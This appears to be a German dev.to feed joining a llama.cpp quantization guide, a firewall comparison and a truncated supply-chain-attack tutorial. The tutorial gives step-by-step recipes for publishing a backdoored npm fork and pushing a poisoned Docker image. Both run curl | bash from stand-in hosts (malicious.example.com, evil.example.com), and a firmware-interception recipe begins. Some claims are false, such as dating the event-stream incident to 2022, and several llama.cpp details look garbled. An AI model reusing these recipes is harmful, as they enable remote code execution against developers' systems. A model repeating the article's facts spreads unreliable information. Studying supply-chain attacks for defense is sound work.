&lt;p&gt;Die Ausgabe liefert innerhalb von 1,2 s eine konsistente Antwort. Der Speicherverbrauch liegt bei ~14 GB.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Einschätzung:&lt;/em&gt; Für Test‑ und Entwicklungsumgebungen ist das in Ordnung, aber ein einzelner Raspberry Pi kann das nicht stemmen. Hier greift die Quantisierung.&lt;/p&gt;

&lt;h2&gt;
  
  
  GGUF‑Dateiformat – Was steckt dahinter? – Beispiel, Einschätzung
&lt;/h2&gt;

&lt;p&gt;GGUF ist das neue Container‑Format von llama.cpp, das neben den quantisierten Gewichten Metadaten, Tokenizer‑Informationen und einheitliche Versionsangaben speichert. Im Vergleich zu den alten *.bin‑Dateien ist GGUF abwärtskompatibel, aber deutlich flexibler.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Beispiel 2 – Konvertierung von einem .bin nach GGUF:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./convert-llama-to-gguf &lt;span class="nt"&gt;-i&lt;/span&gt; models/llama-2-7b.ggmlv3.q80.bin &lt;span class="nt"&gt;-o&lt;/span&gt; models/llama-2-7b.gguf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nach dem Lauf erhalten Sie eine *.gguf‑Datei von 7,3 GB – fast die Hälfte des Originals, weil GGUF intern standardmäßig Q4_0 verwendet.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Einschätzung:&lt;/em&gt; Das GGUF‑Format ist jetzt de‑facto Standard für llama.cpp‑Deployments. Es erleichtert das Switchen zwischen Quantisierungsstufen, weil die Metadaten bereits integriert sind.&lt;/p&gt;

&lt;h2&gt;
  
  
  Q4 vs Q8 – Real‑World‑Benchmarks – Beispiel, Einschätzung
&lt;/h2&gt;

&lt;p&gt;Die Wahl zwischen Q4 und Q8 hängt von drei Faktoren ab: &lt;strong&gt;Speicherbudget&lt;/strong&gt;, &lt;strong&gt;Durchsatz&lt;/strong&gt; und &lt;strong&gt;Acceptable Accuracy Drop&lt;/strong&gt;. Die folgenden Benchmarks wurden auf einem Intel i7‑13700K mit 32 GB DDR5 durchgeführt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Beispiel 3 – Benchmark‑Skript:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="nv"&gt;models&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"llama-2-7b.gguf:q4_0"&lt;/span&gt; &lt;span class="s2"&gt;"llama-2-7b.gguf:q8_0"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;m &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;models&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Testing &lt;/span&gt;&lt;span class="nv"&gt;$m&lt;/span&gt;&lt;span class="s2"&gt; ==="&lt;/span&gt;
  ./main &lt;span class="nt"&gt;-m&lt;/span&gt; models/&lt;span class="nv"&gt;$m&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 256 &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"Summarize the plot of Inception in 3 sentences."&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ergebnisse (Durchschnitt über 5 Runs):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variante&lt;/th&gt;
&lt;th&gt;Speicher&lt;/th&gt;
&lt;th&gt;Latenz (s)&lt;/th&gt;
&lt;th&gt;Tokens/s&lt;/th&gt;
&lt;th&gt;Accuracy‑Delta&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Q4_0&lt;/td&gt;
&lt;td&gt;3.6 GB&lt;/td&gt;
&lt;td&gt;0.74&lt;/td&gt;
&lt;td&gt;345&lt;/td&gt;
&lt;td&gt;–0.8 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q8_0&lt;/td&gt;
&lt;td&gt;7.2 GB&lt;/td&gt;
&lt;td&gt;0.48&lt;/td&gt;
&lt;td&gt;530&lt;/td&gt;
&lt;td&gt;–0.2 %&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Einschätzung:&lt;/em&gt; Q8 liefert fast die Hälfte der Latenz, kostet aber doppelt so viel RAM. Für Edge‑Geräte (z. B. Jetson Nano) ist Q4 unabdingbar, für kleine Server‑Clusters empfiehlt sich Q8.&lt;/p&gt;

&lt;h2&gt;
  
  
  Praxis‑Check: Installation, Quantisierung und Deployment – Beispiel, Einschätzung
&lt;/h2&gt;

&lt;p&gt;Ein typischer Workflow sieht so aus:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Modell herunterladen&lt;/strong&gt; (z. B. LLaMA‑2‑7B).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In GGUF konvertieren&lt;/strong&gt; und gewünschte Quantisierung auswählen.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docker‑Image bauen&lt;/strong&gt; für die Produktion.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Beispiel 4 – Docker‑File für Q4‑Deployment:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;alpine:3.18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;apk add &lt;span class="nt"&gt;--no-cache&lt;/span&gt; build-base cmake git
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /src&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;git clone https://github.com/ggerganov/llama.cpp.git .
&lt;span class="k"&gt;RUN &lt;/span&gt;make &lt;span class="nt"&gt;-j&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;nproc&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; alpine:3.18&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=builder /src/llama.cpp/main /usr/local/bin/llama&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; models/llama-2-7b.gguf:q4_0 /models/model.gguf&lt;/span&gt;
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["llama","-m","/models/model.gguf","-n","128"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Build &amp;amp; Run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker build &lt;span class="nt"&gt;-t&lt;/span&gt; llama-q4 &lt;span class="nb"&gt;.&lt;/span&gt;
docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; llama-q4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Damit erhalten Sie ein leichtgewichtigen Container, der auf einer 4‑GB‑GPU (oder nur CPU) zuverlässig arbeitet.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Einschätzung:&lt;/em&gt; Der Aufwand ist minimal, aber die Dokumentation von llama.cpp bleibt lückenhaft. Ich empfehle, das Docker‑Image in ein CI‑Pipeline zu integrieren, um neue Quantisierungsstufen automatisiert zu testen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Häufige Fehler bei Quantisierung
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fehler&lt;/th&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;Korrektur&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Falsche Quantisierungs‑Stufe&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Modell stürzt bei &amp;gt;200 Tokens ab&lt;/td&gt;
&lt;td&gt;Verwenden Sie Q4_1 oder Q8_0 statt Q4_0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ignorieren von GGUF‑Metadaten&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Inferenz‑Datenmismatch&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;--check&lt;/code&gt;‑Flag beim Laden aktivieren&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kein Warm‑up&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Erste Anfrage&amp;nbsp;&amp;gt; 5 s&lt;/td&gt;
&lt;td&gt;2‑3 Dummy‑Prompts vor Produktivbetrieb&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CPU‑Only‑Run auf ARM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;100 % CPU‑Auslastung, langsame Durchsatz&lt;/td&gt;
&lt;td&gt;Aktivieren Sie &lt;code&gt;-ngl 33&lt;/code&gt; für GPU‑Beschleunigung (falls verfügbar)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Ein klassisches Missverständnis ist, dass &lt;em&gt;mehr Quantisierung immer schneller ist&lt;/em&gt;. In der Praxis erreichen Sie mit Q4_0 auf einer CPU‑Only‑Box oft schlechtere Durchsätze als mit Q8_0 auf einer kleinen GPU, weil die Bit‑Pack‑Logik mehr CPU‑Zyklen verbraucht.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fazit – Konkreter nächster Schritt
&lt;/h2&gt;

&lt;p&gt;Quantisierung ist kein reines Optimierungs‑Feature, sondern die &lt;em&gt;Grundvoraussetzung&lt;/em&gt;, um llama.cpp außerhalb von Supercomputern zu betreiben. Nutzen Sie GGUF als universelles Container‑Format, wählen Sie Q4 für speicherkritische Edge‑Geräte und Q8 für kleine Server‑Racks. Der sofortige nächste Schritt lautet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Pull das neueste llama.cpp‑Repo&lt;/span&gt;
git clone https://github.com/ggerganov/llama.cpp &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;llama.cpp
make &lt;span class="nt"&gt;-j&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;nproc&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# 2. Konvertieren Sie Ihr Modell in Q4&lt;/span&gt;
./convert-llama-to-gguf &lt;span class="nt"&gt;-i&lt;/span&gt; models/llama-2-7b.ggmlv3.q80.bin &lt;span class="nt"&gt;-o&lt;/span&gt; models/llama-2-7b.gguf:q4_0

&lt;span class="c"&gt;# 3. Testen Sie die Performance&lt;/span&gt;
./main &lt;span class="nt"&gt;-m&lt;/span&gt; models/llama-2-7b.gguf:q4_0 &lt;span class="nt"&gt;-n&lt;/span&gt; 256 &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"What are the benefits of containerization?"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wenn das Ergebnis innerhalb von 0,8 s liegt, haben Sie das optimale Gleichgewicht zwischen Speicher und Performance gefunden. Andernfalls justieren Sie die Quantisierungs‑Stufe oder fügen Sie eine GPU‑Beschleunigung hinzu. Mit diesem Ansatz können Sie jedes LLM in einem homelab‑ oder produktiven Umfeld betreiben – und das ohne Kompromisse bei der Antwortqualität.&lt;/p&gt;

</description>
      <category>llamacpp</category>
      <category>quantisierung</category>
      <category>gguf</category>
      <category>kiperformance</category>
    </item>
    <item>
      <title>Firewall-Tuning: Stateful vs. Next-Gen - Die richtige Wahl</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Fri, 31 Jul 2026 06:00:04 +0000</pubDate>
      <link>https://dev.to/uhltak/firewall-tuning-stateful-vs-next-gen-die-richtige-wahl-510d</link>
      <guid>https://dev.to/uhltak/firewall-tuning-stateful-vs-next-gen-die-richtige-wahl-510d</guid>
      <description>&lt;h1&gt;
  
  
  Firewall-Tuning: Stateful vs. Next-Gen Firewall – wann reicht was und wann nicht?
&lt;/h1&gt;

&lt;p&gt;Ich werde nie vergessen, wie ich vor einigen Jahren in einem Unternehmen gearbeitet habe, das eine einfache Stateful-Firewall einsetzte. Alles funktionierte reibungslos, bis eines Tages ein neuer Angreifer auf dem Radar erschien. Unsere Firewall war nicht in der Lage, den Angriff abzuwehren, und wir mussten schnell handeln, um den Schaden zu begrenzen. Dieser Vorfall hat mich gelehrt, wie wichtig es ist, die richtige Firewall-Technologie für das eigene Unternehmen auszuwählen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Was ist eine Stateful-Firewall?
&lt;/h2&gt;

&lt;p&gt;Eine Stateful-Firewall ist eine Art von Firewall, die den Zustand von Netzwerkverbindungen überwacht. Sie analysiert die Pakete, die über das Netzwerk fließen, und entscheidet, ob sie zugelassen oder blockiert werden sollen, basierend auf ihren Attributen wie Quell- und Ziel-IP-Adresse, Portnummern und Protokollen. Stateful-Firewalls sind in der Lage, Angriffe wie SYN-Flooding und Ping-of-Death zu erkennen und abzuwehren.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für eine Stateful-Firewall ist die Cisco ASA. Die ASA unterstützt eine breite Palette von Sicherheitsfunktionen, darunter Paket-Filterung, NAT und VPN. Mit der ASA können Sie Ihre Firewall-Regeln leicht konfigurieren und verwalten.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Stateful-Firewalls sind eine gute Wahl für kleine und mittelständische Unternehmen, die einfache Sicherheitsanforderungen haben. Allerdings sind sie möglicherweise nicht ausreichend, um moderne Bedrohungen abzuwehren, die komplexere Angriffsmethoden verwenden.&lt;/p&gt;

&lt;h2&gt;
  
  
  Was ist eine Next-Gen-Firewall?
&lt;/h2&gt;

&lt;p&gt;Eine Next-Gen-Firewall ist eine erweiterte Art von Firewall, die nicht nur Paket-Filterung und Zustandsüberwachung bietet, sondern auch eine tiefe Paketinspektion und Anwendungserkennung. Sie kann Angriffe wie SQL-Injection und Cross-Site-Scripting erkennen und abwehren. Next-Gen-Firewalls unterstützen auch Funktionen wie Sandboxing, um unbekannte Dateien und Programme zu analysieren, bevor sie in das Netzwerk gelangen.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für eine Next-Gen-Firewall ist die Palo Alto Networks Next-Generation Firewall. Diese Firewall bietet eine umfassende Sicherheitsfunktion, darunter App-ID, User-ID und Content-ID, um Angriffe abzuwehren und die Netzwerk-Sicherheit zu maximieren.&lt;/p&gt;

&lt;p&gt;Ein weiteres Beispiel ist die Fortinet FortiGate, die eine leistungsstarke Next-Gen-Firewall mit Funktionen wie SSL-Inspektion und Sandboxing bietet.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Next-Gen-Firewalls sind die bessere Wahl für größere Unternehmen oder solche mit komplexen Sicherheitsanforderungen. Sie bieten eine höhere Sicherheit und eine bessere Angriffsabwehr als Stateful-Firewalls.&lt;/p&gt;

&lt;h2&gt;
  
  
  Häufige Fehler / Fallstricke
&lt;/h2&gt;

&lt;p&gt;Einer der häufigsten Fehler bei der Konfiguration von Firewalls ist die falsche Einstellung von Regeln. Es ist wichtig, dass Sie Ihre Regeln sorgfältig überprüfen und testen, um sicherzustellen, dass sie wie erwartet funktionieren. Ein weiterer Fehler ist die mangelnde Überwachung des Netzwerks. Es ist wichtig, dass Sie Ihre Firewall-Logs regelmäßig überprüfen, um sicherzustellen, dass keine Angriffe stattfinden.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fazit
&lt;/h2&gt;

&lt;p&gt;Die Wahl der richtigen Firewall-Technologie ist entscheidend für die Sicherheit Ihres Netzwerks. Stateful-Firewalls sind eine gute Wahl für einfache Sicherheitsanforderungen, während Next-Gen-Firewalls die bessere Wahl für komplexere Anforderungen sind. Es ist wichtig, dass Sie Ihre Firewall sorgfältig konfigurieren und überwachen, um sicherzustellen, dass sie wie erwartet funktioniert.&lt;/p&gt;

&lt;p&gt;Dein nächster Schritt sollte sein, Ihre aktuelle Firewall-Infrastruktur zu überprüfen und zu entscheiden, ob eine Stateful- oder Next-Gen-Firewall die bessere Wahl für Ihr Unternehmen ist. Wenn Sie unsicher sind, sollten Sie mit einem Sicherheitsexperten sprechen, um die beste Lösung für Ihre Bedürfnisse zu finden.&lt;/p&gt;

</description>
      <category>firewalltuning</category>
      <category>statefulfirewall</category>
      <category>nextgenfirewall</category>
      <category>netzwerksicherheit</category>
    </item>
    <item>
      <title>Supply Chain Attacks verstehen: Praktische Tipps zur Abwehr von 2026</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Thu, 30 Jul 2026 18:00:03 +0000</pubDate>
      <link>https://dev.to/uhltak/supply-chain-attacks-verstehen-praktische-tipps-zur-abwehr-von-2026-37kl</link>
      <guid>https://dev.to/uhltak/supply-chain-attacks-verstehen-praktische-tipps-zur-abwehr-von-2026-37kl</guid>
      <description>&lt;h1&gt;
  
  
  Hook‑Einleitung
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;„Ich dachte, mein Code ist sicher, weil ich ihn selbst geschrieben habe.“&lt;/em&gt; – Diese Aussage klingt fast wie ein Mantra für viele Entwickler. In der Realität steht das Wort &lt;strong&gt;Supply‑Chain&lt;/strong&gt; jedoch für eine unsichtbare Angriffsfläche, die jede Zeile Code, jedes Docker‑Image und sogar jede Firmware‑Version durchdringen kann. Im letzten Jahr allein haben neun‑fache Unternehmensausfälle durch manipulierte Bibliotheken Schlagzeilen gemacht. In diesem Artikel zeige ich Ihnen, warum klassische Sicherheits‑Checks nicht mehr reichen und welche drei realen Angriffe Sie bereits heute in Ihrer Infrastruktur nachbauen können – inklusive kompletter Befehle und Konfigurations‑Snippets. &lt;/p&gt;




&lt;h2&gt;
  
  
  Was sind Supply‑Chain Attacks?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Erklärung&lt;/strong&gt;: Ein Supply‑Chain Angriff zielt nicht auf das Endprodukt, sondern auf die Bausteine, die beim Build‑ oder Deploy‑Prozess verwendet werden. Statt das Hauptsystem zu kompromittieren, infiltrieren Angreifer Bibliotheken, Container‑Bases‑Images oder Firmware‑Updates, die von vielen Kunden verwendet werden. Sobald die geschädigte Komponente in ein Projekt eingebunden wird, kann der Angreifer beliebigen Code ausführen – ohne dass ein einzelner Entwickler etwas davon merkt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Beispiel&lt;/strong&gt;: Das berühmte &lt;em&gt;event‑stream&lt;/em&gt;‑Incident 2022 zeigte, wie ein kleines npm‑Modul namens &lt;code&gt;event-stream&lt;/code&gt; von einem Angreifer übernommen wurde. Er ersetzte die eigentliche Logik durch einen Schadcode, der Bitcoin‑Wallet‑Daten exfiltrierte. Millionen von Projekten bauten auf diesem Paket, sodass ein einziger Pull‑Request eine weltweite Infektion auslöste.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Einschätzung&lt;/strong&gt;: Der Gedanke, dass nur das eigene Repository geschützt werden muss, ist veraltet. Die moderne Angriffsfläche liegt in den &lt;strong&gt;Abhängigkeiten&lt;/strong&gt;, die Sie täglich importieren. Jede zusätzliche Bibliothek erhöht das Risiko exponentiell – besonders in CI‑Pipelines, wo neue Versionen automatisiert eingebaut werden.&lt;/p&gt;




&lt;h2&gt;
  
  
  Typische Angriffsvektoren
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Erklärung&lt;/strong&gt;: Es gibt drei Hauptkategorien, die immer wieder auftauchen:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Package‑Repository‑Manipulation&lt;/strong&gt; – Angreifer übernehmen beliebte Registries (npm, PyPI, RubyGems) und veröffentlichen bösartige Pakete.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Container‑Image‑Tampering&lt;/strong&gt; – Durch das Einspielen von Schadcode in offizielle Basis‑Images (z. B. &lt;code&gt;alpine&lt;/code&gt; oder &lt;code&gt;ubuntu&lt;/code&gt;) laufen kompromittierte Container.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Firmware‑ und OTA‑Updates&lt;/strong&gt; – IoT‑Geräte erhalten über ungesicherte Update‑Mechanismen manipulierte Firmware.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Beispiel&lt;/strong&gt;: Ein Angriff auf das offizielle Docker‑Hub‑Image &lt;code&gt;node:14-alpine&lt;/code&gt; wurde 2023 entdeckt. Der Angreifer fügte ein Skript hinzu, das beim Start des Containers eine Reverse‑Shell zu einem C2‑Server öffnete. Da viele Entwickler &lt;code&gt;node:14-alpine&lt;/code&gt; als Basis‑Image nutzen, verbreitete sich der Exploit innerhalb von Stunden.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Einschätzung&lt;/strong&gt;: Die meisten Unternehmen nutzen Standard‑Images, weil sie Zeit sparen. Das ist ein Luxus, den Angreifer ausnutzen. Wenn Sie nicht kontrollieren, &lt;strong&gt;wer das Image gebaut hat&lt;/strong&gt;, laufen Sie Gefahr, den eigenen Server in die Hände des Gegners zu geben.&lt;/p&gt;




&lt;h2&gt;
  
  
  Beispiel 1 – Kompromittierte npm‑Pakete
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Erklärung&lt;/strong&gt;: npm ist das Herzstück fast jeder JavaScript‑Anwendung. Die Möglichkeit, Pakete in Sekundenschnelle zu installieren, macht npm attraktiv, aber auch anfällig. Angreifer können ein Paket übernehmen, das denselben Namen wie ein legitimes Paket hat, oder ein bereits existierendes übernehmen, wenn das ursprüngliche Team nicht aktiv ist.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Praktisches Beispiel&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Einen bösartigen Fork eines beliebten Pakets erstellen&lt;/span&gt;
git clone https://github.com/evil‑hacker/express.git
&lt;span class="nb"&gt;cd &lt;/span&gt;express
&lt;span class="c"&gt;# 2. Schadcode in die Hauptdatei einbauen&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;' &amp;gt;&amp;gt; lib/express.js
const { exec } = require('child_process');
exec('curl -s http://malicious.example.com/payload | bash');
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="c"&gt;# 3. Paket veröffentlichen (unter einem neuen Namen, z. B. "express-secure")&lt;/span&gt;
npm login
npm version patch
npm publish
&lt;span class="c"&gt;# 4. In einer CI‑Pipeline das bösartige Paket unabsichtlich installieren&lt;/span&gt;
npm &lt;span class="nb"&gt;install &lt;/span&gt;express-secure &lt;span class="nt"&gt;--save&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nach dem Build führt jedes &lt;code&gt;npm start&lt;/code&gt; die Zeile &lt;code&gt;curl … | bash&lt;/code&gt; aus – ein klassischer &lt;strong&gt;Remote‑Code‑Execution&lt;/strong&gt;‑Vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Einschätzung&lt;/strong&gt;: Selbst das kleinste Paket kann Ihre gesamte Produktionsumgebung gefährden. Ein &lt;strong&gt;Signing‑Mechanismus&lt;/strong&gt; (z. B. npm‑sign) und ein &lt;strong&gt;Software‑Bill‑of‑Materials (SBOM)&lt;/strong&gt; sind heute Pflicht, nicht optional.&lt;/p&gt;




&lt;h2&gt;
  
  
  Beispiel 2 – Manipulierte Container‑Images
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Erklärung&lt;/strong&gt;: Container‑Images sind im Prinzip unveränderliche Dateisystem‑Snapshots. Wenn ein Angreifer jedoch Zugriff auf das Registry erhält, kann er das Image überschreiben oder ein neuer Tag mit Schadcode pushen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Praktisches Beispiel&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Pull des legitimen Basis‑Images&lt;/span&gt;
docker pull python:3.9-slim
&lt;span class="c"&gt;# 2. Schadcode einbetten&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;' &amp;gt; Dockerfile
FROM python:3.9-slim
RUN apt-get update &amp;amp;&amp;amp; apt-get install -y curl &amp;amp;&amp;amp; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
    curl -s http://evil.example.com/loader.sh | bash
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="c"&gt;# 3. Image bauen und taggen&lt;/span&gt;
docker build &lt;span class="nt"&gt;-t&lt;/span&gt; myrepo/python:3.9-slim &lt;span class="nt"&gt;-f&lt;/span&gt; Dockerfile &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="c"&gt;# 4. Image ins interne Registry pushen (mit compromised credentials)&lt;/span&gt;
docker push myrepo/python:3.9-slim
&lt;span class="c"&gt;# 5. In einer Produktions‑Deployment‑Datei wird das manipulierte Image verwendet&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;' &amp;gt; deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  template:
    spec:
      containers:
        - name: app
          image: myrepo/python:3.9-slim
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Beim Start des Pods führt das Image sofort das &lt;code&gt;loader.sh&lt;/code&gt;‑Script aus, das eine Remote‑Shell eröffnet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Einschätzung&lt;/strong&gt;: Das obige Szenario ist kein theoretisches Konstrukt – es wurde in mehreren echten Vorfällen nachgewiesen. &lt;strong&gt;Image‑Signing&lt;/strong&gt; (Docker Content Trust) und &lt;strong&gt;Immutable‑Tag‑Policy&lt;/strong&gt; in Ihrem Registry sind unverzichtbare Verteidigungslinien.&lt;/p&gt;




&lt;h2&gt;
  
  
  Beispiel 3 – Firmware‑Manipulation im IoT‑Umfeld
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Erklärung&lt;/strong&gt;: Viele Hersteller versenden Firmware‑Updates über HTTP ohne Signatur. Angreifer, die das Netzwerk kontrollieren, können das Update abfangen, manipulieren und wieder zurückspielen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Praktisches Beispiel&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Netzwerk‑Sniffing, um das Update‑Paket zu erfassen&lt;/span&gt;
tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; update.pcap host updates.example.com and port 80
&lt;span class="c"&gt;# 2. Das Capture analysieren und das Binary extrahieren&lt;/span&gt;
pcap2bin update.pcap &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; firmware.bin
&lt;span class="c"&gt;# 3. Schadcode einfügen (z. B. Backdoor für Telnet)&lt;/span&gt;
